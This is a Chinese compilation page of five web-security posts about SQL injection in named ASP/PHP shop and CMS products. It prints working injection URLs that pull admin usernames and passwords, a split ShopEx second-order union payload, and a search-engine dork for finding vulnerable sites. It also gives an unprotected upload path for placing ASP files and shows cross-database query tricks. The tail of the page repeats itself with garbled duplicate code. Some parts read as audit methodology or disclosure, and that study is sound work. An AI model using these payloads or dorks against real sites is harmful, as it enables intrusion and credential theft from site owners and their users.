【导语】“zyh106”通过精心收集,向本站投稿了5篇动感商城注入漏洞脚本安全,以下是小编帮大家整理后的动感商城注入漏洞脚本安全,仅供参考,希望能够帮助到大家。
- 目录
篇1:动感商城注入漏洞脚本安全
发现者:Neeao [Bug.Center.Team]
程序名称:动感购物 网上商城系统
影响版本:所有版本(包括官方使用的2005V-B SQL版)
系统开发:动感科技
官方地址:www.9911.com.cn
漏洞等级:危险
详细说明:注入漏洞
存在漏洞文件:
textbox.asp
textbox2.asp
textbox2_1.asp
textbox22.asp
本来这个是后台修改新闻时候显示内容的东西,本页一个代码就可以了,不知道作者为什么非要用一个文件来显示出来,
而且还放在程序跟目录下!没有做任何限制就放在了哪里,调用,可见作者是多么的粗心!
测试方法:上面所说的四个文件任意一个文件:textbox*.asp?action=modify&newsid=任意一个存在的id!
就可以注入了!如果用sql版的话数据库权限设置不当的话,很容易获得系统权限!^_^!
漏洞补丁:已经通知了官方了!
临时解决方法;过滤变量啊!
篇2:注入笔记手工注入字符型注入漏洞脚本安全
今天给大家讲解一下字符型注入点注入,也许很多朋友看到字符型的注入大部分都是放弃此注入去寻找其他数字型注入,因为字符型注入应用的不是很广泛,好了,这里我就来交大家字符型注入,
首先打开localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包 /很明显,字符型注入,
前几张我们说到了判断字符型注入的语句是' and '1'='1 和' and '1'=2 我们来看看。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='1 返回正常。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='2 返回错误。
我们确定了注入点那么我们先看看数字型注入能否在这里使用
先用联合查询 order by
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包+order+by+1 很明显,出错啦,不可使用。
那么再用半猜解查询试试
同样出错。
看来字数字型注入在字符型注入中失效啦,那么我们来试试
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+Manage_User)>0+and+''=' 返回了正常,说明存在manage_user表。
在sql语句中字符型参数必须用单引号闭合(')否则会出错。所以我们在注入中也先要用单引号来闭合语句。
下面我们来猜字段名。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(username)+from+Manage_User)>0+and+''=' 返回正常,存在,
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>0+and+''=' 返回正常,存在。
这里我只截一张图。
下面判断一下username中字段长度
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>4+and+''=' 返回正常
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)=5+and+''=' 返回正常
密码字段省略。下面进行猜解用户名。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,1))=97)+and+''=' 返回正常,username表中第一位是ascll码97,明文为:a
接着猜解第二位:localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,2))=100)+and+''='
返回正常,username字段中第二位ASCLL码为100,名为为d
这里之后依次往下猜,最后得到username表中数据为:admin,打开数据库看一下是否一样。
这里说明我们猜解正确。
篇3:黑盒审计中注入漏洞挖掘思路脚本安全
0×01 注入漏洞简介
注入漏洞是web应用中最常见的安全漏洞之一,由于一些程序没有过滤用户的输入,攻击者通过向服务器提交恶意的SQL查询语句,应用程序接收后错误的将攻击者的输入作为原始SQL查询语句的一部分执行,导致改变了程序原始的SQL查询逻辑,额外的执行了攻击者构造的SQL查询语句,从而导致注入漏洞的产生,
攻击者通过SQL注入可以从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作。常见的建站系统出现SQL注入漏洞风险概率是非常高的,而本文就SQL注入漏洞的挖掘方法和大家分享交流,其他web安全漏洞暂不做探讨。
0×02 漏洞挖掘思路
我们知道在源码审计中这样的SQL注入漏洞很容易被发现,但是对于我们这样不会代码审计又想要挖漏洞的小菜来说该怎么办?那就要讲究方法了,这里和大家分享下我平时挖掘漏洞的一些思路。
首先一个好的测试环境很重要,这样我们可以在短时间内准确的找出注入的位置。在挖注入漏洞之前我们开启MySQL查询日志功能,因为有没有注入的发生,日志里面都可以最直观的看到。
然后用某个文本查看软件看日志文件打开网站程序里面执行的SQL(我这里用的是Bare Tail)
接着就是找输入点了,这个是重点 (这个过程也要仔细观察mysql查询日志)。
有些输入点信息,程序没有过滤直接查询数据库,就造成了注入,
例如,我GET提交:localhost/index2.php?id=1a
在监控的MYSQL日志中跟随1a,此处出现id=1a,可以看出该处未作处理,
并且是一个整型变量,且在单引号外面,
那么我们提交一下URL即可注入,获取数据任意信息。localhost/index2.php?id=1%20union%20select%20user%28%29%20from%20user
实际的提交需要根据数据库中查询的语句来构造。
还有一种情况输入点的信息保存到数据库中,或者服务器的session中二次读取时未处理也可导致注入,这种二次注入很多都是不受单引号影响,所以相对来说好利用,危害也是非常大,在mysql日志中跟随输入点的信息,这时一定要仔细调试,一旦出现该信息,我们可以看出是否可利用,根据相关情况构造注入语句。
0×03 Shopex漏洞实例
以shopex漏洞挖掘为例,shopex为部分源码加密,解密较为繁琐,涉及文件太多,进行代码审计需要耗费很多时间,然而利用上面的方法即可轻松找出漏洞。
打开网站,登录后我们随便来到一个产品页面,点击收藏该产品的时候,查看post的信息,其中的75是我们产品的ID,该处也是个输入点。
我们将其改为74a在提交一次试试,跟随SQL日志,可以看到其执行的语句为。
可以看到该处是没有经过过滤的,74a已经成功写入数据库了,如果二次取出时也没有过滤将造成注入,我们再来到会员中心页面,该处会在正常操作下显示我们收藏商品。
此时查看数据库执行日志发现74a已经出现了,由此可以判断该处存在二次注入。
由于这里是组合而成的,我们构造好注入语句然后拆分提交,即可绕过首页的过滤
localhost/index.php?member-SQL-ajaxAddFav.html
我们将上面的SQL替换成以下信息,分三次提交:
0)/**/union/**
**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass)
,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53
,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**
**/from sdb_operatorslimit 1%23
来到会员中心页面在产品收藏处可以看到管理员信息,
观察数据库日志可以看到此时执行的SQL语句为
Query SELECT aGoods.*,aGimage.thumbnail FROM sdb_goods as aGoods left joinsdb_gimages as aGimage on aGoods.image_default=aGimage.gimage_id WHEREaGoods.goods_id IN (0)/**/union/**,**/select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass)
,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60
,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**,**/fromsdb_operators limit 1#) LIMIT 0, 10
补丁地址:bbs.shopex.cn/read.php?tid-308423.html
0×04 总结
这个半黑盒测试的流程是:
开启查询日志——查找输入点——-跟随输入信息——–是否可利用——-构造注入语句
此过程中的重点就是找输入点和跟随输入信息。
输入点是我们实施注入的入口点,我们必须有效控制这些才能实现注入,这些输入点可以包含其中一些:
1)表单提交,主要是POST请求,也包括GET请求。
2)URL参数提交,主要为GET请求参数。
3)Cookie参数提交。
4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等。
5)一些边缘的输入点,比如.jpg文件的一些文件信息等。
有些程序采用了一些错误处理,就算SQL查询语句出错了也是没有任何报错的,这个时候我们只能通过监视SQL查询日志来判断了,一旦有注入漏洞的产生这里将是最先看到。
熟练运用该方法基本可以找到程序中所有的注入漏洞,且不需要太懂代码,要得只是耐心和细心。
篇4:一次枫叶防注入程序漏洞手工入侵脚本安全
该程序采用枫叶通用防注入1.0asp版,此程序pro_show.asp处存在cookies注入或者变型注入漏洞,到目前为止还是有很多网站任然没有修复这个漏洞,也有些网站简单采取了防注入(据说可以绕过哦),
百度关键字:inurl:pro_show.asp?showid=
注入前可以先判断一下字段数:www.xxx.com/pro_show.asp?showid=17 order by 28
注入语句:www.xxx.com/pro_show.asp?showid=17 and 1=1 union select 1,username,3,4,5,6,7,8,9,10,password,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from lei_admin
字段数自己判断,我试了2个网站都是28,至于密码有明文也有md5加密的,后台自找,
后台上传地址:admin/inc/upfile.htm 可直接上传asp文件
篇5:对形象中国全站系统的搜索注入漏洞的一点分析脚本安全
首先声明,这个漏洞不是我发现的,我只是作了一次的分析,不足之处请不吝指教,
这个站点在当初被认为是比较安全的全站系统,事实上现在也是。(后来的补丁里出现了上传漏洞,不在讨论之列。)因此这个系统被改编为很多版本:
Nowa 0.94版本(原版)
形象中国整站(修改版本)
蓝雨整站(修改版本)
落日整站(修改版本)
流星整站(修改版本)---------------------------------------------(感谢hak_ban提供)
我的站www.918x.com就是这个系统的,还有很多的站点用到这个系统(包括小路的666w.com,嘿嘿)。
我们先来看漏洞文件的原代码:
<%sub article_body()
dim totalart,Currentpage,totalpages,i,j,colname
openarticle
sql=“select art_id,cat_id,art_title,art_date,art_count from art order by art_date DESC”
if request(“cat_id”)“” then
sql=“select art_id,cat_id,art_title,art_date,art_count from art where cat_id=”&request(“cat_id”)&“ order by art_date DESC”
elseif request(“keyword”)“” then
sql=“select art_id,cat_id,art_title,art_date,art_count from art where ”&request(“select”)&“ like %”&request(“keyword”)&“%order by art_date DESC”
elseif request(“cat_id”)“” and request(“keyword”)“” then
sql=“select art_id,cat_id,art_title,art_date,art_count from art where art_title or art_content like %”&request(“keyword”)&“%order by art_date DESC”
end if
set rs=server.createobject(“adodb.recordset”)
rs.open sql,conn,1,1
%>
关键这句:
sql=“select art_id,cat_id,art_title,art_date,art_count from art where ”&request(“select”)&“ like %”&request(“keyword”)&“%order by art_date DESC”
我们从另一个文件FORMAT.asp里发现文件对request的keyword变量进行了过滤,却没有对request的select进行有效检查。
所以当我们提交(%20是空格)
www.918x.com/article.asp?select=art_title&keyword=1%20and%201=1
是不成功的,但是提交:
www.918x.com/article.asp? keyword=1&select=art_title%20and%201=1
www.918x.com/article.asp? keyword=1&select=art_title%20and%201=2
就能成功的达到注入的目的。整个文章系统有两处搜索,除了article.asp还有download.asp,于是看了看代码,却没有发现&request(“select”),而是直接把soft_name等放在查询中,看起来好象这两个查询不是同一个人写的。
再来说说利用。我们知道,这个整站有5个数据库,密码保存在admin.mdb里(默认情况下),
而上述注入只是征对article.mdb的。我们最多能够暴出article.mdb表里的数据。
那能不能跨库查询呢?
首先我必须知道保存admin的数据库的名字,假设为admin.asp,我们还需要知道数据库的物理路径,假设为d:\\web\\data\\ 然后如下查询:
www.918x.com/article.asp? keyword=1&select=art_title%20and %200(select%20count(*)%20from%20d:\\web\\data\\admin.asp.admin%20where%20admin_name)
www.918x.com/article.asp? keyword=1&select=art_title%20and %200(select%20count(*)%20from%20d:\\web\\data\\admin.asp.admin%20where%20admin_password)
返回成功,则说明有admin表和admin_name,admin_password列。接下来便可以注入,暴出用户名和密码来。我就不多说了,大家都会的。
这种情况适用于
1.知道数据库的物理路径
2.数据库不在可访问的web目录里,在上级目录,或者其他地方,或者数据库作了防下载处理(否则我们可以直接下载admin数据库,又何必注入那么麻烦呢。)
总的来说利用的价值不大,何况20040415的补丁使得密码还是md5加密的。
rt_date,art_count from art where cat_id=“&request(”cat_id“)&” order by art_date DESC“
elseif request(”keyword“)”“ then
sql=”select art_id,cat_id,art_title,art_date,art_count from art where “&request(”select“)&” like %“&request(”keyword“)&”%order by art_date DESC“
elseif request(”cat_id“)”“ and request(”keyword“)”“ then
sql=”select art_id,cat_id,art_title,art_date,art_count from art where art_title or art_content like %“&request(”keyword“)&”%order by art_date DESC“
end if
set rs=server.createobject(”adodb.recordset“)
rs.open sql,conn,1,1
%>[/code]
关键这句:
sql=”select art_id,cat_id,art_title,art_date,art_count from art where “&request(”select“)&” like %“&request(”keyword“)&”%order by art_date DESC“
我们从另一个文件FORMAT.asp里发现文件对request的keyword变量进行了过滤,却没有对request的select进行有效检查。
所以当我们提交(%20是空格)
www.918x.com/article.asp?select=art_title&keyword=1%20and%201=1
是不成功的,但是提交:
www.918x.com/article.asp? keyword=1&select=art_title%20and%201=1
www.918x.com/article.asp? keyword=1&select=art_title%20and%201=2
就能成功的达到注入的目的。整个文章系统有两处搜索,除了article.asp还有download.asp,于是看了看代码,却没有发现&request(”select\"),而是直接把soft_name等放在查询中,看起来好象这两个查询不是同一个人写的。
再来说说利用。我们知道,这个整站有5个数据库,密码保存在admin.mdb里(默认情况下)。
而上述注入只是征对article.mdb的。我们最多能够暴出article.mdb表里的
★ 手工注入脚本安全
★ Shopv8 商城系统 v12.07 Cookies 注入漏洞漏洞预警
★ Andys PHP Knowledgebase 0.95.4 SQL注入漏洞及修复
★ 脚本范文
★ 动感签名
★ 动感101开场白
★ 利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全
动感商城注入漏洞脚本安全(集锦5篇)




